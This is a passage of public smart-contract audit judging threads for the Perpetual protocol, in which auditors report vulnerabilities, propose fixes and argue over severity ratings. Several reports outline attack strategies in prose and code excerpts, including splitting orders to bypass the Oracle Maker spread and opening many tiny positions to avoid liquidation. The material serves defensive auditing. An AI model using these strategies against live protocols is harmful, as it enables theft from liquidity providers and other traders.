Therefore the impact translates to direct loss under any resulting price movements. Because it also has no external conditions for this trick to be possible, I believe this fits into the criteria of a High risk issue.
sherlock-admin2
Escalate
We have shown the method to bypass the Oracle Maker's spread, which is meant to be the protection against large exposures. This attack also has no external conditions: With any amount of margin, you can still partially bypass the spread. Larger margin only maximizes the impact, but smaller margin does not prevent it in any way.
The effect of bypassing the premium is that the Oracle Maker is forced to take positions without spread (or with a heavy reduction). Elaborating on this, this means that the Oracle Maker is forced to take the same position size for a larger (absolute) open notional. This translates to a direct loss should the price moves in any direction:
- If the price goes in the favor of the Oracle Maker's position, the larger open notional decreases the Maker's profit.
- If the price goes against the favor of the Oracle Maker's position, the larger open notional increases the Maker's loss.
Note that we are only elaborating what is already written in our report (elaborating the direct effect of the Maker quoting a less favorable price). The elaborated info only arises from the definition of a standard perpetual contract, and we are adding no additional info.
Therefore the impact translates to direct loss under any resulting price movements. Because it also has no external conditions for this trick to be possible, I believe this fits into the criteria of a High risk issue.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
nirohgo
Escalate
This is low/informational
The attack described can not be performed as described. This is because traders can only open positions with the Oracle Maker through the relayer. This means there is no way to know which other orders will be settled before or between the two attack steps (or even their order of execution). The Oracle Maker position direction can change direction in the meantime, making the attacker get a worse price instead of better. Even if the Oracle Maker enabled direct interaction there would still be the risk of other transactions getting in before the attacker and changing the OM position direction.
Without the attack, this is a design improvement and not a medium severity finding.
sherlock-admin2
Escalate
This is low/informational
The attack described can not be performed as described. This is because traders can only open positions with the Oracle Maker through the relayer. This means there is no way to know which other orders will be settled before or between the two attack steps (or even their order of execution). The Oracle Maker position direction can change direction in the meantime, making the attacker get a worse price instead of better. Even if the Oracle Maker enabled direct interaction there would still be the risk of other transactions getting in before the attacker and changing the OM position direction.
Without the attack, this is a design improvement and not a medium severity finding.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
Evert0x
@nevillehuang what's your response to these escalations?
From my understanding, is it possible to execute these two orders in the same block/tx? Or does it depend on external transaction (oracle price update) between the two orders?
midori-fuse
According to the contest README:
The relayer may have some value extraction strategies available (for example by delaying the execution of the orders), and is trusted not to use them.
While it is not possible to execute two orders in the same tx, opening two orders in quick succession should still not be difficult (you just literally make actions quickly no?). If the relayer is trusted to resolve orders without utilizing any value-extraction strategies, then it is trusted to resolve orders in a timely manner, in the order it received.
Relayer should update the oracle price before each order anyway (it is stated that the protocol will use Multicaller
, so it should be assumed that the Oracle Maker's price at the time of order is always fresh). However if you open orders quickly (in, say, a few seconds, or even less than a second if you can make two mouse clicks quickly), then the oracle price change should not be substantially large, and the chances of any order getting in between is extremely low (not mentioning changing maker position directions as a whole).
nirohgo
The arrival of orders sent to an offchain relayer depends on networking, so its not even guaranteed that your orders will get to the relayer at the order you sent them, let alone other orders getting before/in between your orders. If trade volume is high it's even likely. The point is the attacker will be taking a risk that I don't think is justified by the potential gain.
midori-fuse
Network related factors are dependent on the admin and external admin.
nevillehuang
@midori-fuse Given this constraint highlighted here, I believe medium severity is appropriate. Do you agree?
midori-fuse
No, unfortunately I don't agree that the constraint makes sense.
First of all, as I have stated, network congestion related factors are related to the external admin and your own network, which has to be assumed to be trusted to provide reliable service.
Second of all, even given that "constraint", you can open orders, say, two seconds apart, for a completely negligible oracle price difference with the same bypassing effect, and the risk that the price moves sharply within those two seconds is epsilon.
nirohgo
To clarify, this in not due to a problem in network congestion, or a problem with the internet on any side (sender or receiver). It's just the way that TCP/IP works. Two messages leaving from point A to B at virtually the same time can and often do take entirely different routes and arrive at different times (and order). Also, because any random order may shift the position direction, orders that interfere include orders that left well before the attacker's.
midori-fuse
Even so, it does not change the fact that two orders can still be made one after another, in a reliable fashion by introducing a very small delay between them.
And even without the attack, we have shown that large trades has no price impact compared to smaller trades that makes up the same sum. Because this results in both:
we still believe this is a High risk issue.
Czar102
I think this report lies on the Med/High borderline, but closer to the Medium severity issue – the loss is only the loss of fees, the attacker has no way of predicting the price anyway.
I don't think the point in @nirohgo's escalation weights a lot into this judgment.
Planning to reject both escalations and leave the issue as is.
midori-fuse
It is indeed true that the loss is only a loss of fees (even if it can be bypassed completely).
However the loss here is directed towards Oracle Maker LPs and not the protocol. Furthermore, the issue isn't about a price-based attack, it's a general trick/exploit path to open better positions than the design for traders. The higher the Maker's position, the higher the fee loss, since the premium there is also larger.
So I still think it's a High, since I see loss of fees towards LPs equates to loss of funds.
However I do believe the context on the issue is clear now, and it's a matter of judgement instead of on further analyzing the issue.
WangSecurity
Agree with what Czar said above, the only loss are fees and the attack depends on external factors to be true, since the caller cannot control if their transactions will be executed one right after another.
Planning to reject the escalation and leave the issue as it is.
Evert0x
Result: Medium Has Duplicates
sherlock-admin2
Escalations have been resolved successfully!
Escalation status:
nirohgo
@Evert0x my escalation should not be rejected here because it affected the decision on the original escalation ("the only loss are fees and the attack depends on external factors to be true, since the caller cannot control if their transactions will be executed one right after another.") my escalation demonstrated that the caller cannot control if their transactions will be executed one right after another.
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/95
ether_sky
There are 2 trade
types available: FoK
or PartialFill
.
Users have the option to partially settle their orders
.
However, in some cases, they can't settle their `orders.
A user creates an order
with the PartialFill
trade
type and a size of S
.
Initially, he settles 50%
of this order
.
At this point, the totalFilledAmount
of this order
has a value of S/2
.
function _fillTakerOrder(
InternalContext memory context,
SettleOrderParam memory settleOrderParams
) internal returns (InternalWithdrawMarginParam memory, uint256) {
_getOrderGatewayV2Storage().totalFilledAmount[takerOrder.getKey()] += settleOrderParams.fillAmount;
}
After some time, the user attempts to settle the remaining 50%
of that order
.
In the _verifyOrder
function, we check whether there is enough positionSize
available to settle this order
if the action
of the order
is ReduceOnly
.
However, the issue arises from not accounting for the previously settled amount.
function _verifyOrder(IVault vault, Order memory order, uint256 fillAmount) internal view {
uint256 totalFilledAmount = getOrderFilledAmount(order.owner, order.id);
if (fillAmount > openAmount - totalFilledAmount) {
revert LibError.ExceedOrderAmount(order.owner, order.id, totalFilledAmount);
}
if (order.action == ActionType.ReduceOnly) {
int256 ownerPositionSize = vault.getPositionSize(order.marketId, order.owner);
if (order.amount * ownerPositionSize > 0) {
revert LibError.ReduceOnlySideMismatch(order.owner, order.id, order.amount, ownerPositionSize);
}
if (openAmount > ownerPositionSize.abs()) { // @audit, here
revert LibError.UnableToReduceOnly(order.owner, order.id, openAmount, ownerPositionSize.abs());
}
}
}
In the initial settlement, half of the order
was settled.
After the settlement, the positionSize
decreases by S/2
also and there are only S/2
remaining in the order
.
Therefore, we should compare S/2
with the current positionSize
.
However, we compare S
again without accounting for the previously settled amount.
As a result, the current positionSize
might be lower than S
, leading to the potential reversal of the settlement.
This is a DoS and users can lose funds as gas fees.
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/orderGatewayV2/OrderGatewayV2.sol#L336 https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/orderGatewayV2/OrderGatewayV2.sol#L513-L515
Manual Review
function _verifyOrder(IVault vault, Order memory order, uint256 fillAmount) internal view {
uint256 totalFilledAmount = getOrderFilledAmount(order.owner, order.id);
if (fillAmount > openAmount - totalFilledAmount) {
revert LibError.ExceedOrderAmount(order.owner, order.id, totalFilledAmount);
}
if (order.action == ActionType.ReduceOnly) {
int256 ownerPositionSize = vault.getPositionSize(order.marketId, order.owner);
if (order.amount * ownerPositionSize > 0) {
revert LibError.ReduceOnlySideMismatch(order.owner, order.id, order.amount, ownerPositionSize);
}
- if (openAmount > ownerPositionSize.abs()) {
+ if (openAmount - totalFilledAmount > ownerPositionSize.abs()) {
revert LibError.UnableToReduceOnly(order.owner, order.id, openAmount, ownerPositionSize.abs());
}
}
}
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Medium
sherlock-admin4
The protocol team fixed this issue in the following PRs/commits: https://github.com/perpetual-protocol/perp-contract-v3/pull/6
sherlock-admin3
The Lead Senior Watson signed off on the fix.
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/102
The protocol has acknowledged this issue.
ether_sky
There are two types of makers
: OracleMaker
and SpotHedgeBaseMaker
, where LPs
can deposit funds.
Traders
can then execute their orders
against these makers
.
To incentivize LPs
, several mechanisms exist for these makers
to profit.
One is the borrowing fee
, which both makers
can benefit from.
Another is the funding fee
, which specifically benefits OracleMaker
.
The funding fee
incentivizes users to maintain positions
with the same direction of OracleMaker
.
However, due to the funding fee
, there may be excess funds in the PnL pool
or occurrences of bad debt
.
Typically, in most protocols
, the generated yields
are totally distributed to users and the protocol
itself.
In the Perpetual
protocol, all borrowing fees
from payers
are solely distributed to receivers
, which are whitelisted by the protocol
.
However, not all funding fees
are distributed, or there may be a lack of funding fees
available for distribution.
The current funding rate
is determined based on the current position
of the base pool
(OracleMaker
).
function getCurrentFundingRate(uint256 marketId) public view returns (int256) {
uint256 fundingRateAbs = FixedPointMathLib.fullMulDiv(
fundingConfig.fundingFactor,
FixedPointMathLib
.powWad(openNotionalAbs.toInt256(), fundingConfig.fundingExponentFactor.toInt256())
.toUint256(),
maxCapacity
);
}
Holders of positions
with the same direction of the position
of the OracleMaker
receive funding fees
, while those with positions
in the opposite direction are required to pay funding fees
.
The amount of funding fees
generated per second is calculated as the product of the funding rate
and the sum of openNotionals
of positions
with the opposite direction.
Conversely, the amount of funding fees
distributed per second is calculated as the product of the funding rate
and the sum of openNotionls
of positions
with the same direction of the position
of the OracleMaker
.
function getPendingFee(uint256 marketId, address trader) public view returns (int256) {
int256 fundingRate = getCurrentFundingRate(marketId);
int256 fundingGrowthLongIndex = _getFundingFeeStorage().fundingGrowthLongIndexMap[marketId] +
(fundingRate * int256(block.timestamp - _getFundingFeeStorage().lastUpdatedTimestampMap[marketId]));
int256 openNotional = _getVault().getOpenNotional(marketId, trader);
int256 fundingFee = 0;
if (openNotional != 0) {
fundingFee = _calcFundingFee(
openNotional,
fundingGrowthLongIndex - _getFundingFeeStorage().lastFundingGrowthLongIndexMap[marketId][trader]
); // @audit, here
}
return fundingFee;
}
All orders
are settled against makers
, meaning for every long position
, there should be an equivalent short position
.
While we might expect the sum of openNotionals
of long positions
to be equal to the openNotionals
of short positions
, in reality, they may differ.
Suppose there are two long positions
with openNotional
values of S
and S/2
.
Then there should be two short positions
with openNotianal
values of -S
and -S/2
.
If the holder of the first long position
cancels his order
against the second short position
with -S/2
, the openNotional
of the long position
becomes 0
, and the second short position
becomes a long position
.
However, we can not be certain that the openNotional
of the new long position
is exactly S/2
.
function add(Position storage self, int256 positionSizeDelta, int256 openNotionalDelta) internal returns (int256) {
int256 openNotional = self.openNotional;
int256 positionSize = self.positionSize;
bool isLong = positionSizeDelta > 0;
int256 realizedPnl = 0;
// new or increase position
if (positionSize == 0 || (positionSize > 0 && isLong) || (positionSize < 0 && !isLong)) {
// no old pos size = new position
// direction is same as old pos = increase position
} else {
// openNotionalDelta and oldOpenNotional have different signs = reduce, close or reverse position
// check if it's reduce or close by comparing absolute position size
// if reduce
// realizedPnl = oldOpenNotional * closedRatio + openNotionalDelta
// closedRatio = positionSizeDeltaAbs / positionSizeAbs
// if close and increase reverse position
// realizedPnl = oldOpenNotional + openNotionalDelta * closedPositionSize / positionSizeDelta
uint256 positionSizeDeltaAbs = positionSizeDelta.abs();
uint256 positionSizeAbs = positionSize.abs();
if (positionSizeAbs >= positionSizeDeltaAbs) {
// reduce or close position
int256 reducedOpenNotional = (openNotional * positionSizeDeltaAbs.toInt256()) /
positionSizeAbs.toInt256();
realizedPnl = reducedOpenNotional + openNotionalDelta;
} else {
// open reverse position
realizedPnl =
openNotional +
(openNotionalDelta * positionSizeAbs.toInt256()) /
positionSizeDeltaAbs.toInt256();
}
}
self.positionSize += positionSizeDelta;
self.openNotional += openNotionalDelta - realizedPnl;
return realizedPnl;
}
Indeed, the openNotional
of the new long position
is determined by the current price
.
Consequently, while the position size
of this new long position
will be the same with the old second long position
with an openNotional
value of S/2
, the openNotional
of the new long position
can indeed vary from S/2
.
As a result, the sum of openNotionals
of short positions
can differ from the sum of long positions
.
There are numerous other scenarios where the sums of openNotionals
may vary.
I believe that the developers also thought that the funding fees
are totally used between it's payers
and receivers
from the below code.
/// @notice positive -> pay funding fee -> fundingFee should round up
/// negative -> receive funding fee -> -fundingFee should round down
function _calcFundingFee(int256 openNotional, int256 deltaGrowthIndex) internal pure returns (int256) {
if (openNotional * deltaGrowthIndex > 0) {
return int256(FixedPointMathLib.fullMulDivUp(openNotional.abs(), deltaGrowthIndex.abs(), WAD));
} else {
return (openNotional * deltaGrowthIndex) / WAD.toInt256();
}
}
They even took rounding
into serious consideration to prevent any shortfall of funding fees
for distribution.
Excess funding fees
in the PnL pool
can arise when the sum of openNotionals
of the payers
exceeds that of the receivers
.
Conversely, bad debt
may occur in other cases, leading to a situation where users are unable to receive their funding fees
due to an insufficient PnL pool
.
It is worth to note that other yields
, such as the borrowing fee
, are entirely utilized between it's payers
and receivers
.
Therefore, there are no additional funding sources
available to address any shortages of funding fees
.
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/fundingFee/FundingFee.sol#L133-L139 https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/fundingFee/FundingFee.sol#L89-L102 https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/vault/LibPosition.sol#L45-L48 https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/fundingFee/FundingFee.sol#L183-L191
Manual Review
We can calculate funding fees
based on the position size
because the sum of the position sizes
of long positions
will always be equal to the sum of short positions
in all cases.
sherlock-admin4
2 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Medium
takarez commented:
valid; medium(8)
vinta
Confirmed, this is valid. Thanks for finding this bug!
We're still figuring out a fix, or we might probably just disable fundingFee entirely if we cannot solve it before launch.
etherSky111
Escalate
I think this is a high
risk issue.
This has a high likelihood
of occurrence, as it can happen easily.
The impact is also high
due to the absence of available funding sources
in case of bad debt
.
Consequently, users' margins
and borrowing fees
will be reduced.
And the sponsor has confirmed their intention to disable this feature if a suitable solution is not found. This shows the severity of the impact.
Anyway, this is my first contest in Sherlock and am not familiar with the rules. I hope for a kind review. Thanks in advance.
sherlock-admin2
Escalate
I think this is a
high
risk issue. This has ahigh likelihood
of occurrence, as it can happen easily. The impact is alsohigh
due to the absence ofavailable funding sources
in case ofbad debt
. Consequently, users'margins
andborrowing fees
will be reduced.And the sponsor has confirmed their intention to disable this feature if a suitable solution is not found. This shows the severity of the impact.
Anyway, this is my first contest in Sherlock and am not familiar with the rules. I hope for a kind review. Thanks in advance.
The escalation could not be created because you are not exceeding the escalation threshold.
You can view the required number of additional valid issues/judging contest payouts in your Profile page, in the Sherlock webapp.
etherSky111
Hi @nevillehuang , thanks for your judging.
I need assistance with escalation, as I couldn't create it. What do I need to do for this?
Thanks.
GTH1235
Escalate
I think this is a high risk issue. This has a high likelihood of occurrence, as it can happen easily. The impact is also high due to the absence of available funding sources in case of bad debt. Consequently, users' margins and borrowing fees will be reduced.
And the sponsor has confirmed their intention to disable this feature if a suitable solution is not found. This shows the severity of the impact.
sherlock-admin2
Escalate
I think this is a high risk issue. This has a high likelihood of occurrence, as it can happen easily. The impact is also high due to the absence of available funding sources in case of bad debt. Consequently, users' margins and borrowing fees will be reduced.
And the sponsor has confirmed their intention to disable this feature if a suitable solution is not found. This shows the severity of the impact.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
There may be
meaning it won't necessarily happen (i.e. Medium). The funding fee does not cause bad debt, it just temporarily causes there to be fewer funds in the pool than expected. As soon as the funding flips to the other side, it's likely to be remedied without any intervention at all (as is indicated by the fact that the title begins with There may be excess funds
). The readme says PnL Pool currently starts empty, so a trader with realized gains may experience temporary illiquidity when he tries to withdraw those gains. This inconvenience will be mitigated in the future with a buffer balance
so the pool is expected to have temporary liquidity problems for traders, which are expected to be mitigated. There is no bad debt being created here.
etherSky111
Let's change There may be
to There should be
.
In cases where the opposite open notional is larger, there should be bad debt
.
The PnL pool
involves the user's margin
and borrowing fees
.
When users withdraw their funding fees
, it is deducted from the PnL pool
, which involves the user's margin
and borrowing fees
.
And As soon as the funding flips to the other side,
: this is just assumption.
If we evaluate things in this manner, the likelihood of most issues will be very low.
nevillehuang
@etherSky111 @IllIllI000 How often can this situation of excess funds occur?
etherSky111
This situation can easily happen (The likelihood
is really high).
There are 2
possible states.
1
. The opposite open notional
is larger.
2
. vice versa
In case 1, there will be bad debts
due to there are more receivers
than payers
.
Users' PnL
, borrowing fees
and funding fees
are settled through PnL pool
.
If there are X bad debts
in funding fees
, these will be deducted from PnL pool
which includes users' PnL
and borrowing fees
.
It's important to note that there's no guarantee that the market will swiftly transition from the first case to the second.
It will disrupt the equilibrium of the market
.
Thanks.
IllIllI000
There is no bad debt created. Bad debt is when a specific user has losses that are greater than the margin collateral backing the position, which means it will never be paid back and the system as a whole will have a loss forever. In this case, it's a temporary liquidity deficit that will be resolved when the opposite side becomes the larger open notional. As I've pointed out here, according to the readme, it's expected that there are temporary liquidity deficits, so that is not a security risk. The only thing broken here is that the sponsor though that only trader PnL could cause the temporary deficit, but with this issue, the funding fee can cause it too.
etherSky111
Are you sure 100%?
when the opposite side becomes the larger open notional.
As I said earlier, this is just an assumption.
IllIllI000
There has never been a perpetuals market, where the funding fee stayed only on one side. The whole point of the fee is to incentivize people to open positions on the other side of the market in order to make the futures price equal the spot price, at which point the fee rate will become zero again, and then there will be a random walk of orders coming in, which will randomly choose the next side with the larger open notional.
etherSky111
Ensuring that the sum of funding fees
aligns with 0
is not guaranteed.
And this is not a temporary liquidity deficits
.
This deficit is based on the fact that the sum of borrowing fees
and users' PnL
equal 0
.
As a newcomer to Sherlock
, I'm unfamiliar with the rules, so I'll leave it to the judge to decide, and I'll respect his decision.
Thank you.
nevillehuang
Based on discussions, I believe medium severity is appropriate for this issue.
WangSecurity
Agree with the Lead Judge, Medium is indeed appropriate here due to requirement of specific state. Hence, planning to reject the escalation and leave the issue as it is.
Evert0x
Result: Medium Unique
sherlock-admin3
Escalations have been resolved successfully!
Escalation status:
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/115
The protocol has acknowledged this issue.
IllIllI
There is no incentive to liquidate tiny positions, which may lead to insolvency
A well-funded attacker (e.g. a competing exchange) can create millions of positions where each position's total open notional (and thus the liquidation fee given when closing the position) is smaller than the gas cost required to liquidate it if there's a loss.
Lots of small losses are equivalent to one large loss, which will lead to bad debt that the exchange will have to cover in order to allow others to withdraw from the PnL pool
There is no minimum position size, and the liquidation incentive is based on the total open notional (average cost to open):
// File: src/clearingHouse/LibLiquidation.sol : LibLiquidation.getPenalty() #1
73 /// @notice penalty = liquidatedPositionNotionalDelta * liquidationPenaltyRatio, shared by liquidator and protocol
74 /// liquidationFeeToLiquidator = penalty * liquidation fee ratio. the rest to the protocol
75 function getPenalty(
76 MaintenanceMarginProfile memory self,
77 uint256 liquidatedPositionSizeDelta
78 ) internal view returns (uint256, uint256) {
79 // reduced percentage = toBeLiquidated / oldSize
80 // liquidatedPositionNotionalDelta = oldOpenNotional * percentage = oldOpenNotional * toBeLiquidated / oldSize
81 // penalty = liquidatedPositionNotionalDelta * liquidationPenaltyRatio
82 uint256 openNotionalAbs = self.openNotional.abs();
83 @> uint256 liquidatedNotionalMulWad = openNotionalAbs * liquidatedPositionSizeDelta;
84 uint256 penalty = liquidatedNotionalMulWad.mulWad(self.liquidationPenaltyRatio) / self.positionSize.abs();
85 uint256 liquidationFeeToLiquidator = penalty.mulWad(self.liquidationFeeRatio);
86 uint256 liquidationFeeToProtocol = penalty - liquidationFeeToLiquidator;
87 return (liquidationFeeToLiquidator, liquidationFeeToProtocol);
88: }
Furthermore, even if somehow gas costs were free, the mulWad()
used to calculate the penalty/fee rounds down the total penalty as well as the portion that the liquidator gets, so one-wei open notionals will have a penalty payment of zero to the liquidator
Manual Review
Have a minimum total open notional for positions, to ensure there's a large enough fee to overcome liquidation gas costs. Also round up the fee
sherlock-admin4
2 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Low - Gas fees on L2s are cheap, now more with Dencun update. An hypothetical attacker should use trillions of different addresses without gaining any profit doing it.
takarez commented:
POC of such attacked would have helped.
santipu03
Escalate
I believe this issue should be LOW because of the impracticality of the attack.
The Perpetual protocol will be deployed on Optimism/Blast, where the gas costs are tiny, now even more with the Dencun update. To execute such an attack, one would need an insane amount of different addresses to even have a possibility of causing some bad debt, we're probably talking about billions of different addresses.
sherlock-admin2
Escalate
I believe this issue should be LOW because of the impracticality of the attack.
The Perpetual protocol will be deployed on Optimism/Blast, where the gas costs are tiny, now even more with the Dencun update. To execute such an attack, one would need an insane amount of different addresses to even have a possibility of causing some bad debt, we're probably talking about billions of different addresses.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
nevillehuang
@IllIllI000 Could you present a numerical scenario where this attack is practical?
IllIllI000
Escalate
I believe this issue (#115) should have at least as high a severity as #112.
To address the above escalation on feasibility: If you look at transactions relating to the pyth oracle, they're mostly related to synthetix transactions (synthetix is a perpetual futures DEX, just like perpetual), and most of executions that are similar to what a perpetual liquidation would be, are for ~$0.40-$0.60, (e.g. this one). If you look through the tests, the expected liquidation penalty is 2.5%, and the penalty is split 50-50 with the protocol, so in order to hit this scenario, you'd be able to submit an order for $0.50 / 0.025 / 0.5 = $40.00 and not have to fear being liquidated, because the fee the liquidator would get would be less than the gas cost to liquidate. $40 is small enough that this scenario will likely happen organically, when traders open high-leverage trades against small account values, as is often done on DEXes. Alternatively, a determined attacker can create 1000 such transactions to reach a position size of $40k, with a cost of only $500 in transaction fees, plus whatever the current margin requirements are.
Why #115 should be at least as high as #112: Both issues describe scenarios in which a trader can create positions where there is higher risk than the normal risk parameters would allow them to, without having to worry about being liquidated. In both cases, the risk is that bad debt will be created before the position is liquidated. Both issues can be somewhat mitigated by the admin changing the risk parameters (either the margin requirements for #112, or the liquidation penalty for #115), and in both cases the admin can specifically manually target specific positions by sandwiching them with changes to the parameter and doing the liquidation in between the sandwich, in order to avoid the parameters affecting other users. Both issues can be used together by the same attacker to increase the risk of the position over what is possible with only one, but fixing one does not fix the other. Both would require off-chain monitoring to apply the sandwich workarounds, whenever the issue pops up, but I believe #115 would occur more frequently, since it can happen by accident.
I submitted #115 as Med since the admin could decide to override the normal parameters, as is described above, and #112 has the same workaround, so they should have the same severity. If one is a High, the other is too.
sherlock-admin2
Escalate
I believe this issue (#115) should have at least as high a severity as #112.
To address the above escalation on feasibility: If you look at transactions relating to the pyth oracle, they're mostly related to synthetix transactions (synthetix is a perpetual futures DEX, just like perpetual), and most of executions that are similar to what a perpetual liquidation would be, are for ~$0.40-$0.60, (e.g. this one). If you look through the tests, the expected liquidation penalty is 2.5%, and the penalty is split 50-50 with the protocol, so in order to hit this scenario, you'd be able to submit an order for $0.50 / 0.025 / 0.5 = $40.00 and not have to fear being liquidated, because the fee the liquidator would get would be less than the gas cost to liquidate. $40 is small enough that this scenario will likely happen organically, when traders open high-leverage trades against small account values, as is often done on DEXes. Alternatively, a determined attacker can create 1000 such transactions to reach a position size of $40k, with a cost of only $500 in transaction fees, plus whatever the current margin requirements are.
Why #115 should be at least as high as #112: Both issues describe scenarios in which a trader can create positions where there is higher risk than the normal risk parameters would allow them to, without having to worry about being liquidated. In both cases, the risk is that bad debt will be created before the position is liquidated. Both issues can be somewhat mitigated by the admin changing the risk parameters (either the margin requirements for #112, or the liquidation penalty for #115), and in both cases the admin can specifically manually target specific positions by sandwiching them with changes to the parameter and doing the liquidation in between the sandwich, in order to avoid the parameters affecting other users. Both issues can be used together by the same attacker to increase the risk of the position over what is possible with only one, but fixing one does not fix the other. Both would require off-chain monitoring to apply the sandwich workarounds, whenever the issue pops up, but I believe #115 would occur more frequently, since it can happen by accident.
I submitted #115 as Med since the admin could decide to override the normal parameters, as is described above, and #112 has the same workaround, so they should have the same severity. If one is a High, the other is too.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
nevillehuang
@paco0x The following impact presented seems extremely concerning, however, given admin has workaround to mitigate the issue, I believe both this issue and #112 should remain as medium severity issues.
Alternatively, a determined attacker can create 1000 such transactions to reach a position size of $40k, with a cost of only $500 in transaction fees, plus whatever the current margin requirements are.
paco0x
@paco0x The following impact presented seems extremely concerning, however, given admin has workaround to mitigate the issue, I believe both this issue and #112 should remain as medium severity issues.
Alternatively, a determined attacker can create 1000 such transactions to reach a position size of $40k, with a cost of only $500 in transaction fees, plus whatever the current margin requirements are.
Thanks for the reminder, we're aware of this issue and have already implemented a minimum requirement for opening positions in our latest code.
I'm not sure the severity level for this issue under Sherlock's rules. Personally, I think it isn't an incentive for attackers for these behaviors. But anyway, we already fixed it and will let you guys decide the severity level of it.
detectiveking123
Issue is invalid. You also see the same thing with Aave; a bunch of small bad debt positions that no one cares to liquidate. It's highly unrealistic for this to ever happen because of how unprofitable it is for the attacker.
WangSecurity
I believe medium severity issue as appropriate here based on the comment here by the Lead Judge. Moreover, as I understand it can be used by regular users to create many small positions instead of one big and not fear liquidation. Taking in the fact that there is a workaround by admins to mitigate the issue, planning to reject the escalation and leave the issue as it is.
Evert0x
Result: Medium Unique
sherlock-admin3
Escalations have been resolved successfully!
Escalation status:
IllIllI000
The sponsor acknowledges that $10 is less than the example of $40, so the risk is still present. The minimum amount will also depend on the minimum percentage use for the fee split between the liquidator and the protocol. The sponsor also acknowledges that allowlisted makers may be able to exploit this issue. The sponsor plans to start out running their own liquidators, and may change the value in a future upgrade.
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/116
IllIllI
Price band caps limit the price at which an order can be settled (e.g. someone trying to reduce their exposure in order to avoid liquidation), but liquidations have no such limitation.
Price bands are used in order to ensure that users can't trade a extreme prices, which would result in lower-than usual fees, and liquidations to be less likely, because borrowing fees, funding fees, and liquidation penalties are all based on the opening notional value, rather than the current position size's value, and the reduced fee wouldn't be enough incentive to liquidate the position.
Having price caps means that even if there are two willing parties willing to settle a trade at a market-determined price, they will be prevented from doing so. In traditional financial markets, there are also trading halts when there is extreme price movement. The difference here is that while no trades are allowed during market halts in traditional finance, in the Perpetual system, liquidations are allowed to take place even if users can't close their positions.
The whole purpose of the OracleMaker is to be able to provide liquidity at all times, though this liquidity may be available at a disadvantageous price. If there's a price band, anyone who tries to exit their position before they're liquidated (incurring a fee charged on top of losing the position), will have their orders rejected, even at the disadvantageous price. Note that orders interacting with the OracleMaker, and with other non-whitelisted makers (other traders) are executed by Relayers, who are expected to settle orders after a delay, so definitionally, they'll either be using a stale oracle price or will be executing after other traders have had a change to withdraw their liquidity. In either case, during periods of high volatility and liquidations, the price being used will no longer match the market's clearing price.
Orders modifying/creating positions have price band checks:
// File: src/clearingHouse/ClearingHouse.sol : ClearingHouse._openPosition() #1
321 if (params.isBaseToQuote) {
322 // base to exactOutput(quote), B2Q base- quote+
323 result.base = -oppositeAmount.toInt256();
324 result.quote = params.amount.toInt256();
325 } else {
326 // quote to exactOutput(base), Q2B base+ quote-
327 result.base = params.amount.toInt256();
328 result.quote = -oppositeAmount.toInt256();
329 }
330 }
331:@> _checkPriceBand(params.marketId, result.quote.abs().divWad(result.base.abs()));
but liquidations don't have any price caps, and dont have any authorization checks, which means it can be executed without going through the order gateways and their relayers:
// File: src/clearingHouse/ClearingHouse.sol : ClearingHouse.params #2
160 /// @inheritdoc IClearingHouse
161 function liquidate(
162 LiquidatePositionParams calldata params
163: ) external nonZero(params.positionSize) returns (int256, int256) {
Manual Review
Don't use the price bands for trades against the OracleMaker. As is shown by some of my other submissions, removing the price bands altogether is not safe.
sherlock-admin2
2 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Low - Relayers will execute delayed order with the current market price, not a stale one. And the spread price will never be enough to make the price deviate too much to fail the price band check. If it happened, it should be considered an admin mistake.
takarez commented:
seem valid; medium(2)
vinta
This is invalid I suppose. Indeed, openPosition()
does have price band but liquidate()
doesn't. However, liquidation is "liquidator takes over the liquidatable position at Pyth oracle price". So no need to have price band for liquidation I think.
Though I agree that trading with OracleMaker doesn't really need price band, but I guess it won't hurt if we still check price band for OracleMaker. It's simpler on implementation (no extra code to check whether it's trading with OracleMaker).
IllIllI000
@vinta This submission is about the fact that a normal user will be unable to reduce their position if the OracleMaker's price is outside the price bands, leading to a liquidation they can't do anything to prevent. Can you elaborate on what part is invalid?
vinta
@IllIllI000 But how does OracleMaker's price be outside the price band? Since the price band is based on the oracle price +- xx% and OracleMaker's price is from the same oracle. Liquidation is also using the same oracle price.
IllIllI000
@vinta if traders keep hitting the same side of the bid or ask, the OracleMaker quotes a worse and worse price for the next trade. Eventually, the next 'worse price' will be pushed outside of the price bands, even though the pyth/oracle price is still at the midpoint of (within) the price band. The liquidation will be using the midpoint, but a trader wanting to reduce their position by reducing against the OracleMaker will only have access to the 'worse price', which may be outside of the bands and will therefore be rejected
vinta
@IllIllI000 You're right, that would be a problem. Yes, this is valid! Thank you for pointing out this.
sherlock-admin4
The protocol team fixed this issue in the following PRs/commits: https://github.com/perpetual-protocol/perp-contract-v3/pull/17
nirohgo
Escalate
This is a low:
sherlock-admin2
Escalate
This is a low:
- As the finding mentions, this may only be relevant for relayed trades that are delayed during high volatility. (either trader-to-trader or trader-to-oracle-maker)
